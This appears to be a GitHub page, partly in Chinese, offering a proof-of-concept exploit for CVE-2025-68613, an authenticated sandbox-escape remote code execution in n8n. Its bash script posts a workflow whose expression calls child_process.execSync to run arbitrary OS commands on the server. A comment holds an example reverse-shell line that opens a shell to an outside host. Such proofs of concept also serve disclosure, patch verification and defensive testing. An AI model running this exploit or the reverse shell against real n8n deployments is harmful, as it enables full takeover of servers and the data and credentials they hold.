mbanyamer/n8n-authenticated-expression-injection-rce-cve-2025-68613CVE-2025-68613的概念验证漏洞利用：通过表达式注入在n8n中实现经过身份验证的远程代码执行
| 字段 | 详细信息 |
|---|
| 漏洞利用标题 | n8n 认证表达式注入远程代码执行 |
| CVE | CVE-2025-68613 |
| 披露日期 | 2025-12-25 |
| 作者 | Mohammed Idrees Banyamer |
| 作者国家 | 约旦 |
| 联系方式/社交媒体 | Instagram: @banyamer_security |
| GitHub | mbanyamer |
| 供应商 | n8n.io |
| 软件仓库 | github.com/n8n-io/n8n |
| 受影响版本 | ≥ 0.211.0 < 1.120.4 |
| 修复版本 | 1.120.4, 1.121.1, 1.122.0 及以上 |
| 测试环境 | n8n 1.119.3 (Docker) |
| 漏洞类型 | 通过表达式沙箱逃逸的认证远程代码执行 |
| CVSS 评分 | 9.9（严重） |
此漏洞允许已认证用户使用恶意表达式创建或修改工作流，这些表达式绕过 n8n 的表达式沙箱，从而以 n8n 进程的权限执行完整的操作系统命令。
#!/bin/bash
# Exploit Title: n8n Authenticated Expression Injection RCE
# Date: 2025-12-25
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://n8n.io
# Software Link: https://github.com/n8n-io/n8n
# Version: >=0.211.0 <1.120.4
# Tested on: n8n 1.119.3 (Docker)
# CVE : CVE-2025-68613
TARGET="http://localhost:5678" # ← Change to your target
API_KEY="your_n8n_api_key_here" # ← Insert valid API Key (or use Basic Auth / session)
CMD="id" # ← Test command
# Example reverse shell: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
PAYLOAD="{{ (function(){ return this.process.mainModule.require('child_process').execSync('${CMD}').toString() })() }}"
echo "[*] Sending malicious workflow to ${TARGET}"
curl -s -X POST "${TARGET}/rest/workflows" \
-H "Content-Type: application/json" \
-H "X-N8N-API-KEY: ${API_KEY}" \
-d '{
"name": "CVE-2025-68613 PoC",
"active": false,
"nodes": [
{
"parameters": {
"values": {
"string": [
{
"name": "result",
"value": "'${PAYLOAD}'"
}
]
}
},
"name": "Exploit",
"type": "n8n-nodes-base.set",
"typeVersion": 1,
"position": [460, 300]
}
],
"connections": {}
}'
echo -e "\n[!] Check n8n logs or the output node in the created workflow for command result\n"